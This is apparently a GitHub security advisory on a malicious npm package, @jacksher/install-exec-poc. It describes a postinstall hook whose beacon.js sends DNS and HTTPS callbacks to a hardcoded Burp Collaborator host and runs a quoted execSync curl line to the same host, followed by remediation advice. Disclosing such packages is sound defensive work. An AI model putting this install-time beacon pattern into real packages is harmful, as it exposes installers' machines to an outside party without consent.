@jacksher/install-exec-poc@1.0.3

package.json declares `postinstall: node beacon.js`. On every `npm install`, beacon.js unconditionally performs a DNS lookup, an HTTPS GET to `https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired`, and `child_process.execSync('curl -s https://<same-host>/ci', {stdio:'ignore'})` against the same hardcoded oastify.com (Burp Collaborator) subdomain. The callback fires unconditionally at install time, causing the installer's machine to emit out-of-band DNS and HTTP traffic to an attacker-controlled OAST collector, disclosing the installer's public IP and resolver metadata. The use of `execSync` to shell out to `curl` at postinstall also establishes an install-time shell-to-network primitive on the installer's host. The package name (`install-exec-poc`) self-labels as a proof-of-concept, but the behavior fires on any consumer who installs the package. ## Source: ghsa-malware (caa684a4567ab875a6aa6b04ebcae5284216bf73bb459e762cd9cf6b69f149a1) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.